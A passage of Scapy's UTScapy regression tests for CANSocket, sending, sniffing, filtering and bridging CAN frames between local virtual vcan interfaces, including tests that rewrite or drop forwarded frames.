data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=4) assert len(packets) == 4 sock1.close() = sniff with filtermask 0x0ff sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x0ff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=4) assert len(packets) == 4 sock1.close() = sniff with multiple filters sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=4) assert len(packets) == 4 sock1.close() = sniff with filtermask 0x7ff and inverse filter sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=2) assert len(packets) == 2 sock1.close() = sniff with filtermask 0x1FFFFFFF sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=2) assert len(packets) == 2 sock1.close() = sniff with filtermask 0x1FFFFFFF and inverse filter sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=4) assert len(packets) == 4 sock1.close() = CAN Socket sr1 with receive own messages sock1 = CANSocket(channel="vcan0", receive_own_messages=True) tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') rx = None rx = sock1.sr1(tx, verbose=False, timeout=3) assert tx == rx assert tx.sent_time < rx.time and tx == rx and rx.time > 0 sock1.close() = sr can sock1 = CANSocket(channel="vcan0", receive_own_messages=True) tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') rx = None rx = sock1.sr(tx, timeout=0.1, verbose=False) assert tx == rx[0][0][1] + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6) assert len(packetsVCan1) == 6 threadBridge.join(timeout=5) assert not threadBridge.is_alive() sock1.close() sock0.close() = bridge and sniff setup vcan0 package forwarding sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4) assert len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 vcan1 package forwarding both directions sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, count=4, verbose=False) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6) assert len(packetsVCan0) == 4 assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() =bridge and sniff setup vcan1 package change sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6) assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() =bridge and sniff setup vcan0 package change sock0 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) threadBridge.start() bridgeStarted.wait(timeout=5) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4) assert len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join(timeout=5) =bridge and sniff setup vcan0 and vcan1 package change in both directions sock0 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) bridgeStarted = threading.Event() def bridgeWithPackageChangeBothDirections(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6) assert len(packetsVCan0) == 4 assert len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join(timeout=5) =bridge and sniff setup vcan0 package remove sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=5) assert len(packetsVCan1) == 5 sock0.close() sock1.close() threadBridge.join(timeout=5) =bridge and sniff setup vcan1 package remove sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): if(pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False, count=4) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) threadBridge.start() bridgeStarted.wait(timeout=5) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=3) assert len(packetsVCan0) == 3 sock0.close() sock1.close() threadBridge.join(timeout=5) =bridge and sniff setup vcan0 and vcan1 package remove both directions sock0 = CANSocket(channel="vcan0") sock1 = CANSocket(channel="vcan1") bridgeStarted = threading.Event() def bridgeWithRemovePackageInBothDirections(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnrA(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt def pnrB(pkt): if (pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.2, verbose=False, count=10) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=3) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=5) assert len(packetsVCan0) == 3 assert len(packetsVCan1) == 5 sock0.close() sock1.close() threadBridge.join(timeout=5) = Delete vcan interfaces if 0 != call(["sudo", "ip", "link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip", "link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") ================================================ FILE: test/contrib/cansocket_python_can.uts ================================================ % Regression tests for the CANSocket ~ vcan_socket linux needs_root not_pypy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets = Load module ~ conf conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.cansocket_python_can import * = Setup string for vcan ~ conf command bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os ~ conf command import os import threading from subprocess import call = Setup vcan0 ~ conf command 0 == os.system(bashCommand) = Define common used functions send_done = threading.Event() def sender(sock, msg): if not hasattr(msg, "__iter__"): msg = [msg] for m in msg: sock.send(m) send_done.set() + Basic Packet Tests() = CAN Packet init canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(bustype='socketcan', channel='vcan0') sock1.close() del sock1 sock1 = None = CAN Socket send recv small packet sock1 = CANSocket(bustype='socketcan', channel='vcan0') sock2 = CANSocket(bustype='socketcan', channel='vcan0') sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() sock1.close() sock2.close() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv small packet test with with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv ISOTP_Packet from scapy.contrib.isotp import ISOTPHeader, ISOTP_FF with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(ISOTPHeader(identifier=0x7ff)/ISOTP_FF(message_size=100, data=b'abcdef')) rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=8,data=b'\x10\x64abcdef') = CAN Socket basecls test with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: sock1.basecls = Raw sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) rx = sock1.recv() assert rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) = CAN Socket send recv with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.basecls = CAN rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.basecls = CAN rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') conf.contribs['CAN']['swap-bytes'] = False = sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=3) assert len(packets) == 3 = sniff with filtermask 0x700 msgs = [CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 = sniff with filtermask 0x0ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0xff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 = sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 = sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 = sniff with filtermask 0x1FFFFFFF msgs = [CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10000000, length=8, 